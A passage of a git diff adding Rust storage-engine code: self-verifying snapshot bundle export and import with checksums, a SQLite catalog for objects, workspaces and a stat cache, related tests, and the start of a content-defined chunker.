assert!(!should_retry(temporary.path(), 101).unwrap()); + assert!(should_retry(temporary.path(), 100 + RETRY_GROWTH_BYTES).unwrap()); + record_attempt(temporary.path(), 100, true).unwrap(); + assert!(should_retry(temporary.path(), 100).unwrap()); + } +} diff --git a/engine/furrow-core/src/bundle.rs b/engine/furrow-core/src/bundle.rs new file mode 100644 index 0000000000..58e0865717 --- /dev/null +++ b/engine/furrow-core/src/bundle.rs @@ -0,0 +1,351 @@ +//! Streaming, self-verifying transport bundles for exact snapshots. + +use crate::model::{Blob, EntryKind, ObjectId, ObjectKind, Snapshot, Tree}; +use crate::store::{object_id, ObjectStore}; +use anyhow::Context; +use rusqlite::{params, Connection, OptionalExtension}; +use std::io::{Read, Write}; + +const BUNDLE_MAGIC: &[u8; 5] = b"AGSB\x01"; +const RECORD_MAGIC: &[u8; 4] = b"AGOR"; +const END_MAGIC: &[u8; 4] = b"AGSE"; +const MAX_BUNDLE_OBJECT: u64 = 256 * 1024 * 1024; + +pub fn export( + store: &ObjectStore, + snapshot: ObjectId, + mut output: impl Write, +) -> anyhow::Result { + output.write_all(BUNDLE_MAGIC)?; + output.write_all(&snapshot)?; + let mut count = 0_u64; + for_each_reachable(store, snapshot, |id, kind, bytes| { + output.write_all(RECORD_MAGIC)?; + output.write_all(&[kind as u8])?; + output.write_all(&(bytes.len() as u64).to_le_bytes())?; + output.write_all(id)?; + output.write_all(blake3::hash(bytes).as_bytes())?; + output.write_all(bytes)?; + count += 1; + Ok(()) + })?; + output.write_all(END_MAGIC)?; + output.write_all(&count.to_le_bytes())?; + Ok(count) +} + +pub fn import(store: &ObjectStore, mut input: impl Read) -> anyhow::Result { + let mut magic = [0; BUNDLE_MAGIC.len()]; + input.read_exact(&mut magic)?; + anyhow::ensure!(&magic == BUNDLE_MAGIC, "invalid snapshot bundle header"); + let mut snapshot = [0; 32]; + input.read_exact(&mut snapshot)?; + let marks_file = tempfile::NamedTempFile::new()?; + let marks = Connection::open(marks_file.path())?; + marks.execute_batch( + "PRAGMA journal_mode=OFF; + PRAGMA synchronous=OFF; + CREATE TABLE marks( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + processed INTEGER NOT NULL DEFAULT 0 + ) WITHOUT ROWID; + BEGIN;", + )?; + enqueue(&marks, &snapshot, ObjectKind::Snapshot)?; + let mut count = 0_u64; + loop { + let mut record_magic = [0; 4]; + input + .read_exact(&mut record_magic) + .context("snapshot bundle is truncated")?; + if &record_magic == END_MAGIC { + let mut expected = [0; 8]; + input.read_exact(&mut expected)?; + anyhow::ensure!( + u64::from_le_bytes(expected) == count, + "snapshot bundle record count mismatch" + ); + let pending: u64 = marks.query_row( + "SELECT COUNT(*) FROM marks WHERE processed = 0", + [], + |row| row.get(0), + )?; + anyhow::ensure!(pending == 0, "snapshot bundle omits reachable objects"); + let mut trailing = [0_u8; 1]; + anyhow::ensure!( + input.read(&mut trailing)? == 0, + "snapshot bundle contains trailing data" + ); + break; + } + anyhow::ensure!( + &record_magic == RECORD_MAGIC, + "invalid bundle record header" + ); + let mut kind = [0; 1]; + let mut length = [0; 8]; + let mut id = [0; 32]; + let mut checksum = [0; 32]; + input.read_exact(&mut kind)?; + input.read_exact(&mut length)?; + input.read_exact(&mut id)?; + input.read_exact(&mut checksum)?; + let kind = ObjectKind::from_u8(kind[0]).context("invalid bundle object kind")?; + let expected: Option<(u8, bool)> = marks + .query_row( + "SELECT kind, processed FROM marks WHERE id = ?1", + params![id.as_slice()], + |row| Ok((row.get(0)?, row.get(1)?)), + ) + .optional()?; + let (expected_kind, processed) = expected.context("bundle contains an unrelated object")?; + anyhow::ensure!(!processed, "bundle contains a duplicate object"); + anyhow::ensure!(expected_kind == kind as u8, "bundle object kind mismatch"); + let length = u64::from_le_bytes(length); + anyhow::ensure!(length <= MAX_BUNDLE_OBJECT, "bundle object is too large"); + let mut bytes = vec![0; length as usize]; + input + .read_exact(&mut bytes) + .context("bundle object payload is truncated")?; + anyhow::ensure!( + blake3::hash(&bytes).as_bytes() == &checksum, + "bundle object checksum mismatch" + ); + anyhow::ensure!(object_id(kind, &bytes) == id, "bundle object ID mismatch"); + anyhow::ensure!( + store.put_bytes(kind, &bytes)? == id, + "bundle import ID mismatch" + ); + enqueue_edges(&marks, kind, &bytes)?; + marks.execute( + "UPDATE marks SET processed = 1 WHERE id = ?1", + params![id.as_slice()], + )?; + count += 1; + } + marks.execute_batch("COMMIT;")?; + + // The framing may be valid while omitting a referenced object. Traverse + // the imported root before accepting the bundle as complete. + for_each_reachable(store, snapshot, |_id, _kind, _bytes| Ok(()))?; + Ok(snapshot) +} + +pub fn for_each_reachable( + store: &ObjectStore, + snapshot: ObjectId, + mut visitor: impl FnMut(&ObjectId, ObjectKind, &[u8]) -> anyhow::Result<()>, +) -> anyhow::Result { + let marks_file = tempfile::NamedTempFile::new()?; + let marks = Connection::open(marks_file.path())?; + marks.execute_batch( + "PRAGMA journal_mode=OFF; + PRAGMA synchronous=OFF; + CREATE TABLE marks( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + processed INTEGER NOT NULL DEFAULT 0 + ) WITHOUT ROWID; + CREATE INDEX unprocessed ON marks(processed, id);", + )?; + marks.execute_batch("BEGIN;")?; + enqueue(&marks, &snapshot, ObjectKind::Snapshot)?; + let mut count = 0_u64; + while let Some((id, expected)) = next_mark(&marks)? { + let bytes = store.read_bytes(&id, expected)?; + visitor(&id, expected, &bytes)?; + enqueue_edges(&marks, expected, &bytes)?; + marks.execute( + "UPDATE marks SET processed = 1 WHERE id = ?1", + params![id.as_slice()], + )?; + count += 1; + } + marks.execute_batch("COMMIT;")?; + Ok(count) +} + +fn enqueue(connection: &Connection, id: &ObjectId, kind: ObjectKind) -> anyhow::Result<()> { + connection.execute( + "INSERT OR IGNORE INTO marks(id, kind) VALUES(?1, ?2)", + params![id.as_slice(), kind as u8], + )?; + let actual: u8 = connection.query_row( + "SELECT kind FROM marks WHERE id = ?1", + params![id.as_slice()], + |row| row.get(0), + )?; + anyhow::ensure!( + actual == kind as u8, + "object reached with conflicting kinds" + ); + Ok(()) +} + +fn next_mark(connection: &Connection) -> anyhow::Result> { + let raw: Option<(Vec, u8)> = connection + .query_row( + "SELECT id, kind FROM marks WHERE processed = 0 ORDER BY id LIMIT 1", + [], + |row| Ok((row.get(0)?, row.get(1)?)), + ) + .optional()?; + raw.map(|(bytes, kind)| { + anyhow::ensure!(bytes.len() == 32, "invalid marked object ID"); + let mut id = [0; 32]; + id.copy_from_slice(&bytes); + Ok(( + id, + ObjectKind::from_u8(kind).context("invalid marked object kind")?, + )) + }) + .transpose() +} + +fn enqueue_edges(connection: &Connection, kind: ObjectKind, bytes: &[u8]) -> anyhow::Result<()> { + for (id, kind) in object_edges(kind, bytes)? { + enqueue(connection, &id, kind)?; + } + Ok(()) +} + +pub(crate) fn object_edges( + kind: ObjectKind, + bytes: &[u8], +) -> anyhow::Result> { + let mut edges = Vec::new(); + match kind { + ObjectKind::Snapshot => { + let snapshot: Snapshot = serde_json::from_slice(bytes)?; + edges.push((snapshot.root_tree, ObjectKind::Tree)); + for backup in snapshot.sqlite_backups { + edges.push((backup.blob, ObjectKind::Blob)); + } + } + ObjectKind::Tree => { + let tree: Tree = serde_json::from_slice(bytes)?; + for page in tree.pages { + edges.push((page.target, ObjectKind::Tree)); + } + for entry in tree.entries { + if let Some(xattrs) = entry.xattrs { + edges.push((xattrs, ObjectKind::Xattrs)); + } + match (entry.kind, entry.target) { + (EntryKind::File, Some(id)) => edges.push((id, ObjectKind::Blob)), + (EntryKind::Directory, Some(id)) => edges.push((id, ObjectKind::Tree)), + _ => {} + } + } + } + ObjectKind::Blob => { + let blob: Blob = serde_json::from_slice(bytes)?; + for chunk in blob.chunks { + edges.push((chunk.id, ObjectKind::Chunk)); + } + } + ObjectKind::Chunk | ObjectKind::Xattrs => {} + } + Ok(edges) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::{ + Blob, ChunkRef, SealQuality, SnapshotTrigger, TreeEntry, XattrEntry, Xattrs, + }; + + fn snapshot_fixture(store: &ObjectStore) -> ObjectId { + let chunk = store.put_bytes(ObjectKind::Chunk, b"bundle data").unwrap(); + let blob = store + .put_struct( + ObjectKind::Blob, + &Blob { + chunks: vec![ChunkRef { id: chunk, len: 11 }], + total_len: 11, + }, + ) + .unwrap(); + let xattrs = store + .put_struct( + ObjectKind::Xattrs, + &Xattrs { + entries: vec![XattrEntry { + name: b"user.test".to_vec(), + value: b"kept".to_vec(), + }], + }, + ) + .unwrap(); + let tree = store + .put_struct( + ObjectKind::Tree, + &Tree { + entries: vec![TreeEntry { + name: b"file".to_vec(), + kind: EntryKind::File, + target: Some(blob), + link_target: Vec::new(), + mode: 0o100644, + size: 11, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: Some(xattrs), + class: Default::default(), + }], + pages: Vec::new(), + }, + ) + .unwrap(); + store + .put_struct( + ObjectKind::Snapshot, + &Snapshot { + root_tree: tree, + parent: None, + merge_parents: Vec::new(), + sealed_at_secs: 0, + sealed_at_nanos: 0, + quality: SealQuality::Quiescent, + trigger: SnapshotTrigger::Manual, + label: None, + sqlite_backups: Vec::new(), + claims: Vec::new(), + excluded_paths: Vec::new(), + hardlinks: Vec::new(), + }, + ) + .unwrap() + } + + #[test] + fn exact_bundle_round_trip_and_corruption_rejection() { + let source_dir = tempfile::tempdir().unwrap(); + let source = ObjectStore::open(source_dir.path().join("store")).unwrap(); + let snapshot = snapshot_fixture(&source); + let mut bundle = Vec::new(); + assert_eq!(export(&source, snapshot, &mut bundle).unwrap(), 5); + + let target_dir = tempfile::tempdir().unwrap(); + let target = ObjectStore::open(target_dir.path().join("store")).unwrap(); + assert_eq!(import(&target, bundle.as_slice()).unwrap(), snapshot); + assert_eq!( + for_each_reachable(&target, snapshot, |_, _, _| Ok(())).unwrap(), + 5 + ); + + let mut damaged = bundle; + let middle = damaged.len() / 2; + damaged[middle] ^= 1; + let damaged_target = ObjectStore::open(target_dir.path().join("damaged")).unwrap(); + assert!(import(&damaged_target, damaged.as_slice()).is_err()); + + let mut padded = Vec::new(); + export(&source, snapshot, &mut padded).unwrap(); + padded.extend_from_slice(b"untrusted padding"); + let padded_target = ObjectStore::open(target_dir.path().join("padded")).unwrap(); + assert!(import(&padded_target, padded.as_slice()).is_err()); + } +} diff --git a/engine/furrow-core/src/catalog.rs b/engine/furrow-core/src/catalog.rs new file mode 100644 index 0000000000..a846b49153 --- /dev/null +++ b/engine/furrow-core/src/catalog.rs @@ -0,0 +1,706 @@ +use crate::model::{ObjectId, ObjectKind}; +use anyhow::Context; +use rusqlite::config::DbConfig; +use rusqlite::{params, Connection, OptionalExtension}; +use std::path::Path; + +#[derive(Debug, Clone)] +pub struct ObjectLocation { + pub pack: String, + pub offset: u64, + pub len: u64, + pub kind: ObjectKind, +} + +#[derive(Debug, Clone)] +pub struct PackCheckpoint { + pub verified_len: u64, + pub object_count: u64, + pub last_object: Option, + pub last_record_start: u64, +} + +/// Page cache for the catalog connection, in KiB. +const CACHE_KIB: i64 = 32 * 1024; + +pub struct Catalog { + conn: Connection, +} + +impl Catalog { + pub fn open(path: &Path) -> anyhow::Result { + let conn = + Connection::open(path).with_context(|| format!("open catalog {}", path.display()))?; + conn.pragma_update(None, "journal_mode", "WAL")?; + // The catalog indexes the packs and the reference log, which are the + // durable record: a commit lost to a crash is rebuilt at the next + // open, so a commit does not sync. The log is still crash-consistent + // (a lost suffix, never a torn database), and closing need not pay two + // syncs to copy it back into the database file; the log is folded in + // as it grows. + conn.pragma_update(None, "synchronous", "NORMAL")?; + // A full walk looks up every file's stat row; a cache that holds the + // hot pages spares each lookup a read from the file. + conn.pragma_update(None, "cache_size", -CACHE_KIB)?; + conn.set_db_config(DbConfig::SQLITE_DBCONFIG_NO_CKPT_ON_CLOSE, true)?; + crate::sqlite_adapter::fold_oversized_wal(&conn, path)?; + conn.execute_batch( + " + CREATE TABLE IF NOT EXISTS objects ( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + pack TEXT NOT NULL, + offset INTEGER NOT NULL, + len INTEGER NOT NULL + ) WITHOUT ROWID; + CREATE TABLE IF NOT EXISTS workspaces ( + id TEXT PRIMARY KEY, + root BLOB NOT NULL UNIQUE, + head BLOB + ); + CREATE TABLE IF NOT EXISTS timeline ( + workspace_id TEXT NOT NULL, + sequence INTEGER PRIMARY KEY AUTOINCREMENT, + snapshot_id BLOB NOT NULL UNIQUE, + sealed_at INTEGER NOT NULL, + label TEXT, + trigger TEXT NOT NULL + ); + CREATE INDEX IF NOT EXISTS timeline_workspace_sequence + ON timeline(workspace_id, sequence DESC); + DROP TABLE IF EXISTS file_cache; + CREATE TABLE IF NOT EXISTS stat_cache ( + workspace_id TEXT NOT NULL, + path BLOB NOT NULL, + device INTEGER NOT NULL, + inode INTEGER NOT NULL, + size INTEGER NOT NULL, + mtime_secs INTEGER NOT NULL, + mtime_nanos INTEGER NOT NULL, + ctime_secs INTEGER NOT NULL, + ctime_nanos INTEGER NOT NULL, + mode INTEGER NOT NULL, + blob_id BLOB NOT NULL, + xattrs BLOB, + sqlite INTEGER NOT NULL, + cached_at_nanos INTEGER NOT NULL, + PRIMARY KEY(workspace_id, path) + ) WITHOUT ROWID; + CREATE TABLE IF NOT EXISTS directory_cache ( + workspace_id TEXT NOT NULL, + path BLOB NOT NULL, + tree_id BLOB NOT NULL, + PRIMARY KEY(workspace_id, path) + ) WITHOUT ROWID; + CREATE TABLE IF NOT EXISTS pack_checkpoints ( + pack TEXT PRIMARY KEY, + verified_len INTEGER NOT NULL, + object_count INTEGER NOT NULL, + last_object BLOB, + last_record_start INTEGER NOT NULL + ) WITHOUT ROWID; + ", + )?; + Ok(Self { conn }) + } + + pub fn cached_file( + &self, + workspace_id: &str, + path: &[u8], + ) -> anyhow::Result> { + let mut statement = self.conn.prepare_cached(SELECT_STAT)?; + statement + .query_row(params![workspace_id, path], read_stat_row) + .optional()? + .map(CachedFile::try_from) + .transpose() + } + + pub fn cached_files( + &self, + workspace_id: &str, + paths: &[Vec], + ) -> anyhow::Result>> { + paths + .iter() + .map(|path| self.cached_file(workspace_id, path)) + .collect() + } + + pub fn cache_file( + &self, + workspace_id: &str, + path: &[u8], + file: &CachedFile, + ) -> anyhow::Result<()> { + self.conn.prepare_cached(UPSERT_STAT)?.execute(params![ + workspace_id, + path, + file.device as i64, + file.inode as i64, + file.size as i64, + file.mtime_secs, + file.mtime_nanos, + file.ctime_secs, + file.ctime_nanos, + file.mode, + file.blob_id.as_slice(), + file.xattrs.as_ref().map(|id| id.as_slice()), + file.sqlite, + file.cached_at_nanos, + ])?; + Ok(()) + } + + /// Paths whose cached content is a SQLite database, in path order. + pub fn sqlite_paths(&self, workspace_id: &str) -> anyhow::Result>> { + let mut statement = self.conn.prepare_cached( + "SELECT path FROM stat_cache WHERE workspace_id = ?1 AND sqlite = 1 ORDER BY path", + )?; + let rows = statement.query_map(params![workspace_id], |row| row.get(0))?; + Ok(rows.collect::>()?) + } + + /// Runs `write` as one transaction, so its many small catalog writes cost + /// one durable commit instead of one each. Inside an open transaction it + /// simply runs, and the outer commit covers it. + pub fn batch(&self, write: impl FnOnce() -> anyhow::Result) -> anyhow::Result { + if !self.conn.is_autocommit() { + return write(); + } + self.conn.execute_batch("BEGIN IMMEDIATE")?; + match write() { + Ok(value) => { + self.conn.execute_batch("COMMIT")?; + Ok(value) + } + Err(error) => { + let _ = self.conn.execute_batch("ROLLBACK"); + Err(error) + } + } + } + + pub fn cached_directory( + &self, + workspace_id: &str, + path: &[u8], + ) -> anyhow::Result> { + let value: Option> = self + .conn + .query_row( + "SELECT tree_id FROM directory_cache WHERE workspace_id = ?1 AND path = ?2", + params![workspace_id, path], + |row| row.get(0), + ) + .optional()?; + value.map(vec_to_id).transpose() + } + + pub fn cache_directory( + &self, + workspace_id: &str, + path: &[u8], + tree_id: &ObjectId, + ) -> anyhow::Result<()> { + self.conn.execute( + "INSERT INTO directory_cache(workspace_id, path, tree_id) VALUES(?1, ?2, ?3) + ON CONFLICT(workspace_id, path) DO UPDATE SET tree_id=excluded.tree_id", + params![workspace_id, path, tree_id.as_slice()], + )?; + Ok(()) + } + + pub fn object(&self, id: &ObjectId) -> anyhow::Result> { + self.conn + .query_row( + "SELECT kind, pack, offset, len FROM objects WHERE id = ?1", + params![id.as_slice()], + |row| { + let kind_value: u8 = row.get(0)?; + let kind = ObjectKind::from_u8(kind_value).ok_or_else(|| { + rusqlite::Error::InvalidColumnType( + 0, + "kind".into(), + rusqlite::types::Type::Integer, + ) + })?; + Ok(ObjectLocation { + kind, + pack: row.get(1)?, + offset: row.get::<_, i64>(2)? as u64, + len: row.get::<_, i64>(3)? as u64, + }) + }, + ) + .optional() + .map_err(Into::into) + } + + pub fn object_count(&self) -> anyhow::Result { + Ok(self + .conn + .query_row("SELECT COUNT(*) FROM objects", [], |row| { + row.get::<_, i64>(0) + })? as u64) + } + + pub fn object_payload_bytes(&self) -> anyhow::Result { + Ok(self + .conn + .query_row("SELECT COALESCE(SUM(len), 0) FROM objects", [], |row| { + row.get::<_, i64>(0) + })? as u64) + } + + pub fn remove_workspace(&mut self, workspace_id: &str) -> anyhow::Result<()> { + let tx = self.conn.transaction()?; + tx.execute( + "DELETE FROM stat_cache WHERE workspace_id = ?1", + params![workspace_id], + )?; + tx.execute( + "DELETE FROM directory_cache WHERE workspace_id = ?1", + params![workspace_id], + )?; + tx.execute( + "DELETE FROM timeline WHERE workspace_id = ?1", + params![workspace_id], + )?; + tx.execute( + "DELETE FROM workspaces WHERE id = ?1", + params![workspace_id], + )?; + tx.commit()?; + Ok(()) + } + + pub fn detach_workspace(&mut self, workspace_id: &str) -> anyhow::Result<()> { + let tx = self.conn.transaction()?; + tx.execute( + "DELETE FROM stat_cache WHERE workspace_id = ?1", + params![workspace_id], + )?; + tx.execute( + "DELETE FROM directory_cache WHERE workspace_id = ?1", + params![workspace_id], + )?; + tx.execute( + "DELETE FROM workspaces WHERE id = ?1", + params![workspace_id], + )?; + tx.commit()?; + Ok(()) + } + + pub fn replace_objects_from_gc( + &mut self, + mark_database: &Path, + pack: &str, + checkpoint: &PackCheckpoint, + ) -> anyhow::Result<()> { + self.conn.execute( + "ATTACH DATABASE ?1 AS gcmark", + params![mark_database.as_os_str().to_string_lossy().as_ref()], + )?; + let result = (|| { + let tx = self.conn.transaction()?; + tx.execute("DELETE FROM objects", [])?; + tx.execute( + "INSERT INTO objects(id, kind, pack, offset, len) + SELECT id, kind, ?1, offset, len FROM gcmark.locations", + params![pack], + )?; + tx.execute("DELETE FROM pack_checkpoints", [])?; + tx.execute( + "INSERT INTO pack_checkpoints( + pack, verified_len, object_count, last_object, last_record_start + ) VALUES(?1, ?2, ?3, ?4, ?5)", + params![ + pack, + checkpoint.verified_len as i64, + checkpoint.object_count as i64, + checkpoint.last_object.as_ref().map(|id| id.as_slice()), + checkpoint.last_record_start as i64, + ], + )?; + tx.commit()?; + Ok::<_, anyhow::Error>(()) + })(); + let detached = self.conn.execute("DETACH DATABASE gcmark", []); + result?; + detached?; + Ok(()) + } + + pub fn pack_checkpoint(&self, pack: &str) -> anyhow::Result> { + self.conn + .query_row( + "SELECT verified_len, object_count, last_object, last_record_start + FROM pack_checkpoints WHERE pack = ?1", + params![pack], + |row| { + let last_object: Option> = row.get(2)?; + Ok(( + row.get::<_, i64>(0)? as u64, + row.get::<_, i64>(1)? as u64, + last_object, + row.get::<_, i64>(3)? as u64, + )) + }, + ) + .optional()? + .map( + |(verified_len, object_count, last_object, last_record_start)| { + Ok(PackCheckpoint { + verified_len, + object_count, + last_object: last_object.map(vec_to_id).transpose()?, + last_record_start, + }) + }, + ) + .transpose() + } + + pub fn set_pack_checkpoint( + &self, + pack: &str, + checkpoint: &PackCheckpoint, + ) -> anyhow::Result<()> { + self.conn.execute( + "INSERT INTO pack_checkpoints( + pack, verified_len, object_count, last_object, last_record_start + ) VALUES(?1, ?2, ?3, ?4, ?5) + ON CONFLICT(pack) DO UPDATE SET + verified_len=excluded.verified_len, + object_count=excluded.object_count, + last_object=excluded.last_object, + last_record_start=excluded.last_record_start", + params![ + pack, + checkpoint.verified_len as i64, + checkpoint.object_count as i64, + checkpoint.last_object.as_ref().map(|id| id.as_slice()), + checkpoint.last_record_start as i64, + ], + )?; + Ok(()) + } + + pub fn pack_prefix_object_count(&self, pack: &str, verified_len: u64) -> anyhow::Result { + Ok(self.conn.query_row( + "SELECT COUNT(*) FROM objects + WHERE pack = ?1 AND offset + len + 4 <= ?2", + params![pack, verified_len as i64], + |row| row.get::<_, i64>(0), + )? as u64) + } + + pub fn pack_crossing_object_count(&self, pack: &str, verified_len: u64) -> anyhow::Result { + Ok(self.conn.query_row( + "SELECT COUNT(*) FROM objects + WHERE pack = ?1 AND offset < ?2 AND offset + len + 4 > ?2", + params![pack, verified_len as i64], + |row| row.get::<_, i64>(0), + )? as u64) + } + + pub fn reset_pack_index(&self, pack: &str) -> anyhow::Result<()> { + self.batch(|| { + self.conn + .execute("DELETE FROM objects WHERE pack = ?1", params![pack])?; + self.conn.execute( + "DELETE FROM pack_checkpoints WHERE pack = ?1", + params![pack], + )?; + Ok(()) + }) + } + + pub fn insert_object( + &self, + id: &ObjectId, + kind: ObjectKind, + pack: &str, + offset: u64, + len: u64, + ) -> anyhow::Result<()> { + self.conn.execute( + "INSERT OR IGNORE INTO objects(id, kind, pack, offset, len) VALUES(?1, ?2, ?3, ?4, ?5)", + params![id.as_slice(), kind as u8, pack, offset as i64, len as i64], + )?; + Ok(()) + } + + pub fn delete_pack_objects_from(&self, pack: &str, payload_offset: u64) -> anyhow::Result<()> { + self.conn.execute( + "DELETE FROM objects WHERE pack = ?1 AND offset >= ?2", + params![pack, payload_offset as i64], + )?; + Ok(()) + } + + pub fn ensure_workspace(&self, id: &str, root: &[u8]) -> anyhow::Result<()> { + self.conn.execute( + "INSERT OR IGNORE INTO workspaces(id, root) VALUES(?1, ?2)", + params![id, root], + )?; + Ok(()) + } + + pub fn rebind_workspace(&self, id: &str, root: &[u8]) -> anyhow::Result<()> { + self.conn.execute( + "UPDATE workspaces SET root = ?2 WHERE id = ?1", + params![id, root], + )?; + Ok(()) + } + + pub fn workspace_head(&self, id: &str) -> anyhow::Result> { + let value: Option> = self + .conn + .query_row( + "SELECT head FROM workspaces WHERE id = ?1", + params![id], + |row| row.get(0), + ) + .optional()? + .flatten(); + value.map(vec_to_id).transpose() + } + + pub fn commit_snapshot( + &mut self, + workspace_id: &str, + snapshot_id: &ObjectId, + sealed_at: i64, + label: Option<&str>, + trigger: &str, + ) -> anyhow::Result<()> { + let tx = self.conn.transaction()?; + tx.execute( + "INSERT OR IGNORE INTO timeline(workspace_id, snapshot_id, sealed_at, label, trigger) + VALUES(?1, ?2, ?3, ?4, ?5)", + params![ + workspace_id, + snapshot_id.as_slice(), + sealed_at, + label, + trigger + ], + )?; + tx.execute( + "UPDATE workspaces SET head = ?2 WHERE id = ?1", + params![workspace_id, snapshot_id.as_slice()], + )?; + tx.commit()?; + Ok(()) + } + + pub fn timeline(&self, workspace_id: &str, limit: usize) -> anyhow::Result> { + let mut stmt = self.conn.prepare( + "SELECT snapshot_id, sealed_at, label, trigger FROM timeline + WHERE workspace_id = ?1 ORDER BY sequence DESC LIMIT ?2", + )?; + let rows = stmt.query_map(params![workspace_id, limit as i64], |row| { + let id: Vec = row.get(0)?; + Ok((id, row.get(1)?, row.get(2)?, row.get(3)?)) + })?; + let mut result = Vec::new(); + for row in rows { + let (id, sealed_at, label, trigger) = row?; + result.push(TimelineRow { + id: vec_to_id(id)?, + sealed_at, + label, + trigger, + }); + } + Ok(result) + } +} + +pub struct TimelineRow { + pub id: ObjectId, + pub sealed_at: i64, + pub label: Option, + pub trigger: String, +} + +/// One row of the stat cache: what a file looked like when it was last read, +/// and what reading it produced. A file whose stat still matches (and was not +/// touched within [`RACY_WINDOW_NANOS`] of being read) needs neither open nor +/// read nor xattr calls to be captured again. +#[derive(Debug, Clone)] +pub struct CachedFile { + pub device: u64, + pub inode: u64, + pub size: u64, + pub mtime_secs: i64, + pub mtime_nanos: i64, + pub ctime_secs: i64, + pub ctime_nanos: i64, + pub mode: u32, + pub blob_id: ObjectId, + pub xattrs: Option, + pub sqlite: bool, + /// Wall clock, in nanoseconds, just before the content was read. + pub cached_at_nanos: i64, +} + +/// Timestamps closer than this to the moment a file was read cannot prove the +/// content unchanged: a same-tick rewrite would leave them equal. Two seconds +/// covers the coarsest filesystem clocks in use. +pub const RACY_WINDOW_NANOS: i64 = 2_000_000_000; + +impl CachedFile { + /// True when a write in the timestamp granularity after the read could + /// still have left the stat unchanged; such a file is read again. + pub fn is_racy(&self) -> bool { + let newest = self.mtime_nanos_total().max(self.ctime_nanos_total()); + newest.saturating_add(RACY_WINDOW_NANOS) >= self.cached_at_nanos + } + + fn mtime_nanos_total(&self) -> i64 { + self.mtime_secs + .saturating_mul(1_000_000_000) + .saturating_add(self.mtime_nanos) + } + + fn ctime_nanos_total(&self) -> i64 { + self.ctime_secs + .saturating_mul(1_000_000_000) + .saturating_add(self.ctime_nanos) + } +} + +const SELECT_STAT: &str = "SELECT device, inode, size, mtime_secs, mtime_nanos, + ctime_secs, ctime_nanos, mode, blob_id, xattrs, sqlite, cached_at_nanos + FROM stat_cache WHERE workspace_id = ?1 AND path = ?2"; + +const UPSERT_STAT: &str = "INSERT INTO stat_cache( + workspace_id, path, device, inode, size, mtime_secs, mtime_nanos, + ctime_secs, ctime_nanos, mode, blob_id, xattrs, sqlite, cached_at_nanos + ) VALUES(?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14) + ON CONFLICT(workspace_id, path) DO UPDATE SET + device=excluded.device, inode=excluded.inode, size=excluded.size, + mtime_secs=excluded.mtime_secs, mtime_nanos=excluded.mtime_nanos, + ctime_secs=excluded.ctime_secs, ctime_nanos=excluded.ctime_nanos, + mode=excluded.mode, blob_id=excluded.blob_id, xattrs=excluded.xattrs, + sqlite=excluded.sqlite, cached_at_nanos=excluded.cached_at_nanos"; + +/// A stat-cache row exactly as SQLite stores it. +struct StatRow { + file: CachedFile, + blob: Vec, + xattrs: Option>, +} + +fn read_stat_row(row: &rusqlite::Row<'_>) -> rusqlite::Result { + Ok(StatRow { + file: CachedFile { + device: row.get::<_, i64>(0)? as u64, + inode: row.get::<_, i64>(1)? as u64, + size: row.get::<_, i64>(2)? as u64, + mtime_secs: row.get(3)?, + mtime_nanos: row.get(4)?, + ctime_secs: row.get(5)?, + ctime_nanos: row.get(6)?, + mode: row.get::<_, i64>(7)? as u32, + blob_id: [0; 32], + xattrs: None, + sqlite: row.get(10)?, + cached_at_nanos: row.get(11)?, + }, + blob: row.get(8)?, + xattrs: row.get(9)?, + }) +} + +impl TryFrom for CachedFile { + type Error = anyhow::Error; + + fn try_from(row: StatRow) -> anyhow::Result { + Ok(CachedFile { + blob_id: vec_to_id(row.blob)?, + xattrs: row.xattrs.map(vec_to_id).transpose()?, + ..row.file + }) + } +} + +fn vec_to_id(bytes: Vec) -> anyhow::Result { + anyhow::ensure!(bytes.len() == 32, "catalog contains an invalid object ID"); + let mut id = [0_u8; 32]; + id.copy_from_slice(&bytes); + Ok(id) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn catalog() -> (tempfile::TempDir, Catalog) { + let dir = tempfile::tempdir().unwrap(); + let catalog = Catalog::open(&dir.path().join("catalog.sqlite3")).unwrap(); + (dir, catalog) + } + + fn insert(catalog: &Catalog, byte: u8) -> anyhow::Result<()> { + catalog.insert_object(&[byte; 32], ObjectKind::Chunk, "pack", 0, 1) + } + + #[test] + fn a_batch_commits_everything_or_nothing() { + let (_dir, catalog) = catalog(); + let failed: anyhow::Result<()> = catalog.batch(|| { + insert(&catalog, 1)?; + anyhow::bail!("interrupted") + }); + assert!(failed.is_err()); + assert!(catalog.object(&[1; 32]).unwrap().is_none()); + + catalog + .batch(|| { + insert(&catalog, 2)?; + insert(&catalog, 3) + }) + .unwrap(); + assert!(catalog.object(&[2; 32]).unwrap().is_some()); + assert!(catalog.object(&[3; 32]).unwrap().is_some()); + } + + #[test] + fn a_nested_batch_joins_the_outer_transaction() { + let (_dir, catalog) = catalog(); + let outer: anyhow::Result<()> = catalog.batch(|| { + catalog.batch(|| insert(&catalog, 4))?; + anyhow::bail!("outer fails after the inner batch returned") + }); + assert!(outer.is_err()); + assert!(catalog.object(&[4; 32]).unwrap().is_none()); + } + + #[test] + fn a_racily_clean_row_is_told_apart_from_a_settled_one() { + let row = |cached_at_nanos| CachedFile { + device: 1, + inode: 1, + size: 1, + mtime_secs: 100, + mtime_nanos: 0, + ctime_secs: 100, + ctime_nanos: 0, + mode: 0o100644, + blob_id: [0; 32], + xattrs: None, + sqlite: false, + cached_at_nanos, + }; + assert!(row(100_500_000_000).is_racy()); + assert!(row(99_000_000_000).is_racy()); + assert!(!row(102_000_000_001).is_racy()); + } +} diff --git a/engine/furrow-core/src/chunker.rs b/engine/furrow-core/src/chunker.rs new file mode 100644 index 0000000000..a6e65e1191 --- /dev/null +++ b/engine/furrow-core/src/chunker.rs @@ -0,0 +1,146 @@ +use std::io::{self, Read}; + +pub const SMALL_FILE_LIMIT: usize = 64 * 1024; +pub const MIN_CHUNK: usize = 64 * 1024; +pub const AVG_CHUNK: usize = 256 * 1024; +pub const MAX_CHUNK: usize = 1024 * 1024; +const READ_BUFFER: usize = 64 * 1024; + +// FastCDC-inspired streaming gear hash. It retains bounded memory and stable +// content-defined boundaries without requiring a full file-sized allocation. +pub struct ChunkStream { + reader: R, + buffer: Vec, + position: usize, + filled: usize, + eof: bool, +} + +impl 